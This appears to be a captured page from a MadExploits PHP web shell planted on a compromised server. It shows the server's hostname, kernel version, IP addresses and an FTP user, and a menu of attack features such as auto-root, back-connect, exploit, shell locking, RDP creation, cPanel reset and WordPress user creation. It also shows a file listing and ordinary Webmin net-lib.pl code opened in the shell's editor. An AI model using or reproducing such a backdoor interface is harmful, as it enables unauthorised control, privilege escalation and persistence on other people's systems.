Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
net /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
5.55
KB
-rw-r--r--
acl_security.pl
3.08
KB
-rwxr-xr-x
apply.cgi
184
B
-rwxr-xr-x
backup_config.pl
1005
B
-rwxr-xr-x
cgi_args.pl
752
B
-rwxr-xr-x
cobalt-linux-lib.pl
32.85
KB
-rwxr-xr-x
coherent-linux-lib.pl
32.85
KB
-rwxr-xr-x
config
48
B
-rw-r--r--
config-ALL-linux
48
B
-rw-r--r--
config-cygwin
82
B
-rw-r--r--
config-freebsd
48
B
-rw-r--r--
config-macos
48
B
-rw-r--r--
config-netbsd
48
B
-rw-r--r--
config-openbsd
48
B
-rw-r--r--
config-solaris
79
B
-rw-r--r--
config-syno-linux
48
B
-rw-r--r--
config-unixware
48
B
-rw-r--r--
config-windows
78
B
-rw-r--r--
config.info
193
B
-rw-r--r--
config.info.ca
241
B
-rw-r--r--
config.info.cs
205
B
-rw-r--r--
config.info.de
219
B
-rw-r--r--
config.info.es
175
B
-rw-r--r--
config.info.fa
255
B
-rw-r--r--
config.info.fr
246
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ja
68
B
-rw-r--r--
config.info.nl
197
B
-rw-r--r--
config.info.no
208
B
-rw-r--r--
config.info.pl
240
B
-rw-r--r--
config.info.pt_BR
229
B
-rw-r--r--
config.info.ru
361
B
-rw-r--r--
config.info.sk
225
B
-rw-r--r--
config.info.sv
42
B
-rw-r--r--
config.info.tr
65
B
-rw-r--r--
config.info.uk
87
B
-rw-r--r--
config.info.zh
43
B
-rw-r--r--
config.info.zh_TW
44
B
-rw-r--r--
create_route.cgi
1004
B
-rwxr-xr-x
cygwin-lib.pl
11.28
KB
-rwxr-xr-x
debian-linux-lib.pl
33.09
KB
-rwxr-xr-x
defaultacl
114
B
-rw-r--r--
delete_aifcs.cgi
537
B
-rwxr-xr-x
delete_bifcs.cgi
1.44
KB
-rwxr-xr-x
delete_hosts.cgi
523
B
-rwxr-xr-x
delete_ipnodes.cgi
542
B
-rwxr-xr-x
delete_routes.cgi
458
B
-rwxr-xr-x
edit_aifc.cgi
5.09
KB
-rwxr-xr-x
edit_bifc.cgi
10.42
KB
-rwxr-xr-x
edit_host.cgi
1.13
KB
-rwxr-xr-x
edit_ipnode.cgi
1.04
KB
-rwxr-xr-x
edit_range.cgi
1.34
KB
-rwxr-xr-x
freebsd-lib.pl
19.22
KB
-rwxr-xr-x
gentoo-linux-lib.pl
8.47
KB
-rwxr-xr-x
index.cgi
1.25
KB
-rwxr-xr-x
interface_chooser.cgi
3.8
KB
-rwxr-xr-x
linux-lib.pl
27.58
KB
-rwxr-xr-x
list_dns.cgi
2.3
KB
-rwxr-xr-x
list_hosts.cgi
1.36
KB
-rwxr-xr-x
list_ifcs.cgi
7.96
KB
-rwxr-xr-x
list_ipnodes.cgi
1.07
KB
-rwxr-xr-x
list_routes.cgi
3.38
KB
-rwxr-xr-x
log_parser.pl
1.24
KB
-rwxr-xr-x
macos-lib.pl
11.57
KB
-rwxr-xr-x
mandrake-linux-lib.pl
32.85
KB
-rwxr-xr-x
mod_aifc.cgi
720
B
-rwxr-xr-x
module.info
485
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
123
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
170
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
226
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
261
B
-rw-r--r--
module.info.ca
127
B
-rw-r--r--
module.info.ca.auto
25
B
-rw-r--r--
module.info.cs
27
B
-rw-r--r--
module.info.cs.auto
111
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
129
B
-rw-r--r--
module.info.de
121
B
-rw-r--r--
module.info.de.auto
19
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
229
B
-rw-r--r--
module.info.es
30
B
-rw-r--r--
module.info.es.auto
116
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
142
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
194
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
145
B
-rw-r--r--
module.info.fr
30
B
-rw-r--r--
module.info.fr.auto
128
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
161
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
148
B
-rw-r--r--
module.info.hu
34
B
-rw-r--r--
module.info.hu.auto
148
B
-rw-r--r--
module.info.it
28
B
-rw-r--r--
module.info.it.auto
112
B
-rw-r--r--
module.info.ja
33
B
-rw-r--r--
module.info.ja.auto
153
B
-rw-r--r--
module.info.ko
28
B
-rw-r--r--
module.info.ko.auto
105
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
157
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
157
B
-rw-r--r--
module.info.ms
136
B
-rw-r--r--
module.info.ms.auto
18
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
144
B
-rw-r--r--
module.info.nl
29
B
-rw-r--r--
module.info.nl.auto
105
B
-rw-r--r--
module.info.no
31
B
-rw-r--r--
module.info.no.auto
99
B
-rw-r--r--
module.info.pl
122
B
-rw-r--r--
module.info.pl.auto
19
B
-rw-r--r--
module.info.pt
31
B
-rw-r--r--
module.info.pt.auto
125
B
-rw-r--r--
module.info.pt_BR
34
B
-rw-r--r--
module.info.pt_BR.auto
131
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
143
B
-rw-r--r--
module.info.ru
36
B
-rw-r--r--
module.info.ru.auto
167
B
-rw-r--r--
module.info.sk
28
B
-rw-r--r--
module.info.sk.auto
113
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
140
B
-rw-r--r--
module.info.sv
31
B
-rw-r--r--
module.info.sv.auto
103
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
327
B
-rw-r--r--
module.info.tr
30
B
-rw-r--r--
module.info.tr.auto
130
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
223
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
210
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
170
B
-rw-r--r--
module.info.zh
21
B
-rw-r--r--
module.info.zh.auto
90
B
-rw-r--r--
module.info.zh_TW
24
B
-rw-r--r--
module.info.zh_TW.auto
96
B
-rw-r--r--
msc-linux-lib.pl
32.85
KB
-rwxr-xr-x
net-lib.pl
12
KB
-rwxr-xr-x
netbsd-lib.pl
19.22
KB
-rwxr-xr-x
netplan-lib.pl
21.01
KB
-rw-r--r--
open-linux-lib.pl
7.2
KB
-rwxr-xr-x
openbsd-lib.pl
12.6
KB
-rwxr-xr-x
openmamba-linux-lib.pl
32.85
KB
-rwxr-xr-x
pardus-linux-lib.pl
32.85
KB
-rwxr-xr-x
rbac-mapping
180
B
-rw-r--r--
rc.inet1
1.95
KB
-rw-r--r--
redhat-linux-lib.pl
32.85
KB
-rwxr-xr-x
save_aifc.cgi
5.78
KB
-rwxr-xr-x
save_bifc.cgi
10.12
KB
-rwxr-xr-x
save_dns.cgi
3.65
KB
-rwxr-xr-x
save_host.cgi
1.18
KB
-rwxr-xr-x
save_ipnode.cgi
1.26
KB
-rwxr-xr-x
save_range.cgi
1.42
KB
-rwxr-xr-x
save_routes.cgi
283
B
-rwxr-xr-x
slackware-linux-9.1-ALL-lib.pl
7.85
KB
-rwxr-xr-x
slackware-linux-lib.pl
6.71
KB
-rwxr-xr-x
solaris-lib.pl
20.79
KB
-rwxr-xr-x
suse-linux-8.0-lib.pl
7.31
KB
-rwxr-xr-x
suse-linux-8.2-lib.pl
7.31
KB
-rwxr-xr-x
suse-linux-9.0-lib.pl
8.74
KB
-rwxr-xr-x
suse-linux-9.1-lib.pl
8.74
KB
-rwxr-xr-x
suse-linux-9.2-ALL-lib.pl
11.23
KB
-rwxr-xr-x
suse-linux-lib.pl
9.08
KB
-rwxr-xr-x
system_info.pl
2.42
KB
-rw-r--r--
trustix-linux-lib.pl
32.85
KB
-rwxr-xr-x
turbo-linux-lib.pl
32.85
KB
-rwxr-xr-x
united-linux-lib.pl
7.31
KB
-rwxr-xr-x
unixware-lib.pl
9.9
KB
-rwxr-xr-x
windows-lib.pl
11.28
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : net-lib.pl
# net-lib.pl # Common local networking functions BEGIN { push(@INC, ".."); }; use WebminCore; &init_config(); %access = &get_module_acl(); $access{'ipnodes'} = $access{'hosts'}; if (-r "$module_root_directory/$gconfig{'os_type'}-$gconfig{'os_version'}-lib.pl") { do "$gconfig{'os_type'}-$gconfig{'os_version'}-lib.pl"; $net_mode = $gconfig{'os_type'}."/".$gconfig{'os_version'}; } elsif ($gconfig{'os_type'} eq 'suse-linux' && $gconfig{'os_version'} >= 9.2) { # Special case for SuSE 9.2+ do "$gconfig{'os_type'}-9.2-ALL-lib.pl"; $net_mode = $gconfig{'os_type'}."/9.2"; } elsif ($gconfig{'os_type'} eq 'slackware-linux' && $gconfig{'os_version'} >= 9.1) { # Special case for Slackware 9.1+ do "$gconfig{'os_type'}-9.1-ALL-lib.pl"; $net_mode = $gconfig{'os_type'}."/9.1"; } elsif ($gconfig{'os_type'} eq 'debian-linux' && &has_command("netplan") && -d "/etc/netplan") { # Special case for newer Ubuntu versions do "netplan-lib.pl"; $net_mode = "netplan"; } else { do "$gconfig{'os_type'}-lib.pl"; $net_mode = $gconfig{'os_type'}; } # list_hosts() # Parse hosts from /etc/hosts into a data structure sub list_hosts { local @rv; local $lnum = 0; local $line=""; &open_readfile(HOSTS, $config{'hosts_file'}); while($line=<HOSTS>) { local $comment = 0; $line =~ s/\r|\n//g; if ($line =~ s/^\s*#+\s*//) { $comment = 1; } $line =~ s/#.*$//g; $line =~ s/\s+$//g; local @f = split(/\s+/, $line); local $ipaddr = shift(@f); if (check_ipaddress_any($ipaddr)) { push(@rv, { 'address' => $ipaddr, 'hosts' => [ @f ], 'active' => !$comment, 'line', $lnum, 'index', scalar(@rv) }); } $lnum++; } close(HOSTS); return @rv; } # make_host_line(&host) # Internal function to return a line for the hosts file sub make_host_line { local ($host) = @_; return ($host->{'active'} ? "" : "# "). $host->{'address'}."\t".join(" ",@{$host->{'hosts'}})."\n"; } # create_host(&host) # Add a new host to /etc/hosts sub create_host { local ($host) = @_; &open_tempfile(HOSTS, ">>$config{'hosts_file'}"); &print_tempfile(HOSTS, &make_host_line($host)); &close_tempfile(HOSTS); } # modify_host(&host) # Update the address and hosts of a line in /etc/hosts sub modify_host { local ($host) = @_; &replace_file_line($config{'hosts_file'}, $_[0]->{'line'}, &make_host_line($host)); } # delete_host(&host) # Delete a host from /etc/hosts sub delete_host { local ($host) = @_; &replace_file_line($config{'hosts_file'}, $host->{'line'}); } # list_ipnodes() # Parse ipnodes from /etc/ipnodes into a data structure sub list_ipnodes { local @rv; local $lnum = 0; &open_readfile(HOSTS, $config{'ipnodes_file'}); while(<HOSTS>) { s/\r|\n//g; s/#.*$//g; s/\s+$//g; if (/([0-9a-f:]+|[0-9\.]+)\s+(.*)$/) { push(@rv, { 'address' => $1, 'ipnodes' => [ split(/\s+/, $2) ], 'line', $lnum, 'index', scalar(@rv) }); } $lnum++; } close(HOSTS); return @rv; } # create_ipnode(&ipnode) # Add a new ipnode to /etc/ipnodes sub create_ipnode { &open_tempfile(HOSTS, ">>$config{'ipnodes_file'}"); &print_tempfile(HOSTS, $_[0]->{'address'},"\t",join(" ",@{$_[0]->{'ipnodes'}}),"\n"); &close_tempfile(HOSTS); } # modify_ipnode(&ipnode) # Update the address and ipnodes of a line in /etc/ipnodes sub modify_ipnode { &replace_file_line($config{'ipnodes_file'}, $_[0]->{'line'}, $_[0]->{'address'}."\t".join(" ",@{$_[0]->{'ipnodes'}})."\n"); } # delete_ipnode(&ipnode) # Delete a ipnode from /etc/ipnodes sub delete_ipnode { &replace_file_line($config{'ipnodes_file'}, $_[0]->{'line'}); } # parse_hex(hex) # Convert an address like ff000000 into 255.0.0.0 sub parse_hex { $_[0] =~ /(..)(..)(..)(..)$/; return join(".", (hex($1), hex($2), hex($3), hex($4))); } # interfaces_chooser_button(field, multiple, [form]) # Returns HTML for a javascript button for choosing an interface or interfaces sub interfaces_chooser_button { &load_theme_library(); return &theme_interfaces_chooser_button(@_) if (defined(&theme_interfaces_chooser_button)); local $form = @_ > 2 ? $_[2] : 0; local $w = $_[1] ? 500 : 300; return "<input type=button onClick='ifield = document.forms[$form].$_[0]; chooser = window.open(\"@{[&get_webprefix()]}/net/interface_chooser.cgi?multi=$_[1]&interface=\"+escape(ifield.value), \"chooser\", \"toolbar=no,menubar=no,scrollbars=yes,width=$w,height=200\"); chooser.ifield = ifield' value=\"...\">\n"; } # prefix_to_mask(prefix) # Converts a number like 24 to a mask like 255.255.255.0 sub prefix_to_mask { local ($p) = @_; return !defined($p) ? undef : &check_ipaddress($p) ? $p : $p >= 24 ? "255.255.255.".(256-(2 ** (32-$p))) : $p >= 16 ? "255.255.".(256-(2 ** (24-$p))).".0" : $p >= 8 ? "255.".(256-(2 ** (16-$p))).".0.0" : (256-(2 ** (8-$p))).".0.0.0"; } # mask_to_prefix(mask) # Converts a mask like 255.255.255.0 to a prefix like 24 sub mask_to_prefix { local ($m) = @_; return !defined($m) ? undef : $m =~ /^\d+$/ ? $m : $m =~ /^255\.255\.255\.(\d+)$/ ? 32-&log2(256-$1) : $m =~ /^255\.255\.(\d+)\.0$/ ? 24-&log2(256-$1) : $m =~ /^255\.(\d+)\.0\.0$/ ? 16-&log2(256-$1) : $m =~ /^(\d+)\.0\.0\.0$/ ? 8-&log2(256-$1) : 32; } sub log2 { return int(log($_[0])/log(2)); } # module_for_interface(&interface) # Returns a structure containing details of some other module that manages # some active interface sub module_for_interface { if (&foreign_check("zones") && $_[0]->{'zone'}) { # Zones virtual interface return { 'module' => 'zones', 'desc' => &text('mod_zones', $_[0]->{'zone'}) }; } if (&foreign_check("virtual-server") && $_[0]->{'virtual'} ne '') { # Check for a Virtualmin interface &foreign_require("virtual-server", "virtual-server-lib.pl"); local ($d) = &virtual_server::get_domain_by("ip", $_[0]->{'address'}); if ($d) { return { 'module' => 'virtual-server', 'desc' => &text('mod_virtualmin', $d->{'dom'}) }; } if (defined(&virtual_server::list_resellers)) { ($resel) = grep { $_->{'acl'}->{'defip'} eq $_[0]->{'address'} } &virtual_server::list_resellers(); if ($resel) { return { 'module' => 'virtual-server', 'desc' => &text('mod_reseller', $resel->{'name'}) }; } } } return undef if ($_[0]->{'name'} !~ /^ppp/); # only for PPP if (&foreign_check("ppp-client")) { # Dialup PPP connection &foreign_require("ppp-client", "ppp-client-lib.pl"); local ($ip, $pid, $sect) = &ppp_client::get_connect_details(); if ($ip eq $_[0]->{'address'}) { return { 'module' => 'ppp-client', 'desc' => &text('mod_ppp', $sect) }; } } if (&foreign_check("adsl-client")) { # ADSL PPP connection &foreign_require("adsl-client", "adsl-client-lib.pl"); local ($dev, $ip) = &adsl_client::get_adsl_ip(); if ("ppp$dev" eq $_[0]->{'fullname'}) { return { 'module' => 'adsl-client', 'desc' => &text('mod_adsl') }; } } if (&foreign_check("pap")) { # Dialin PPP connection # XXX not handled yet } if (&foreign_check("pptp-client")) { # PPTP client connection &foreign_require("pptp-client", "pptp-client-lib.pl"); local @tunnels = &pptp_client::list_tunnels(); local %tunnels = map { $_->{'name'}, 1 } @tunnels; local @conns = &pptp_client::list_connected(); foreach $c (@conns) { if ($c->[2] eq $_[0]->{'fullname'}) { return { 'module' => 'pptp-client', 'desc' => &text('mod_pptpc', "<i>$c->[0]</i>") }; } } } if (&foreign_check("pptp-server")) { # PPTP server connection &foreign_require("pptp-server", "pptp-server-lib.pl"); local @conns = &pptp_server::list_connections(); local $c; foreach $c (@conns) { if ($c->[3] eq $_[0]->{'fullname'} || $c->[4] eq $_[0]->{'address'}) { return { 'module' => 'pptp-server', 'desc' => &text('mod_pptps', $c->[2]) }; } } } return undef; } # can_iface(name) sub can_iface { local $name = ref($_[0]) && $_[0]->{'fullname'} ? $_[0]->{'fullname'} : ref($_[0]) ? $_[0]->{'name'}. ($_[0]->{'virtual'} ne "" ? ":$_[0]->{'virtual'}" : "") : $_[0]; return 0 if ($access{'ifcs'} == 0 || $access{'ifcs'} == 1); return 1 if ($access{'ifcs'} == 2); local %can = map { $_, 1 } split(/\s+/, $access{'interfaces'}); if ($access{'ifcs'} == 3) { return $can{$name}; } else { return !$can{$name}; } } sub can_broadcast_def { return 0; } sub can_create_iface { return $access{'ifcs'} == 2; } # interface_choice(name, value, blankmode-text, [disabled?], [non-virt-only]) # Returns HTML for an interface chooser menu sub interface_choice { my ($name, $value, $blanktext, $disabled, $nonvirt) = @_; my @ifacestrs = grep { $_->{'fullname'} } ( &active_interfaces(), &boot_interfaces() ); if ($nonvirt) { @ifacestrs = grep { $_->{'virtual'} eq '' } @ifacestrs; } my @ifaces = map { $_->{'fullname'} } @ifacestrs; @ifaces = sort { $a cmp $b } &unique(@ifaces); my @opts; my $found; if ($blanktext) { push(@opts, [ '', $blanktext ]); } $found++ if ($value eq ""); foreach my $i (@ifaces) { push(@opts, [ $i, $i ]); $found++ if ($value eq $i); } push(@opts, [ 'other', $text{'chooser_other'} ]); return &ui_select($name, !$found && $value ? 'other' : $value, \@opts, 1, 0, 0, $disabled)." ". &ui_textbox($name."_other", $found ? "" : $value, $disabled); } # compute_broadcast(ip, netmask) # Returns a computed broadcast address (ip ^ ~netmask) sub compute_broadcast { local $ipnum = &ip_to_integer($_[0]); local $nmnum = &ip_to_integer($_[1]); return &integer_to_ip($ipnum | (~$nmnum)); } # compute_network(ip, netmask) # Returns a computed network address (ip & netmask) sub compute_network { local $ipnum = &ip_to_integer($_[0]); local $nmnum = &ip_to_integer($_[1]); return &integer_to_ip($ipnum & $nmnum); } # ip_to_integer(ip) # Given an IP address, returns a 32-bit number sub ip_to_integer { local @ip = split(/\./, $_[0]); return ($ip[0]<<24) + ($ip[1]<<16) + ($ip[2]<<8) + ($ip[3]<<0); } # integer_to_ip(integer) # Given a 32-bit number, converts it to an IP sub integer_to_ip { return sprintf "%d.%d.%d.%d", ($_[0]>>24)&0xff, ($_[0]>>16)&0xff, ($_[0]>>8)&0xff, ($_[0]>>0)&0xff; } # all_interfaces() # Returns a list of all active and boot-time interfaces sub all_interfaces { local @rv; foreach my $a (&active_interfaces()) { $a->{'active'} = 1; push(@rv, $a); } foreach my $a (&boot_interfaces()) { $a->{'boot'} = 1; push(@rv, $a); } return @rv; } # check_netmask(netmask,ipaddress_associated) # check if some netmask is properly formatted accordingly # the associated address format (IPv4 or IPv6) sub check_netmask { local($netmask,$address)= @_; local($ret); # Detect IP address type (V4, V6) and check syntax accordingly if ( &check_ip6address($address) ) { $ret=&check_ip6netmask($netmask); } else { $ret=&check_ipaddress($netmask); } return $ret; } # check_ip6netmask(netmask) # check if some netmask has IPv6 format: its value is between 0 and 128. sub check_ip6netmask { return 0 if ( @_[0] <0 || @_[0] >128 ); return 1; } sub check_ipaddress_any { return &check_ipaddress($_[0]) || &check_ip6address($_[0]); } # common_order_input(name, value, &opts) # Returns a field for a standard DNS resolution order input sub common_order_input { my ($name, $value, $opts) = @_; if ($value =~ /\[/) { # Using a complex resolve list return &ui_textbox($name, $value, 60); } else { # Can select by menus my $rv; my @o = split(/\s+/, $value); for(my $i = 0; $i<scalar(@o)+2; $i++) { $rv .= &ui_select($name."_".$i, $o[$i], [ [ "", " " ], @$opts ], 1, 0, 1)."<br>"; } return $rv; } } # canonicalize_ip6(address) # Converts an address to its full long form. Ie. 2001:db8:0:f101::20 to # 2001:0db8:0000:f101:0000:0000:0000:0020 sub canonicalize_ip6 { my ($addr) = @_; return $addr if (!&check_ip6address($addr)); my @w = split(/:/, $addr); my $idx = &indexof("", @w); if ($idx >= 0) { # Expand :: my $mis = 8 - scalar(@w); my @nw = @w[0..$idx]; for(my $i=0; $i<$mis; $i++) { push(@nw, 0); } push(@nw, @w[$idx+1 .. $#w]); @w = @nw; } foreach my $w (@w) { while(length($w) < 4) { $w = "0".$w; } } return lc(join(":", @w)); } sub iface_sort { return $a->{'name'} cmp $b->{'name'} if ($a->{'name'} cmp $b->{'name'}); return $a->{'virtual'} eq '' ? -1 : $b->{'virtual'} eq '' ? 1 : $a->{'virtual'} <=> $b->{'virtual'}; } 1;
Close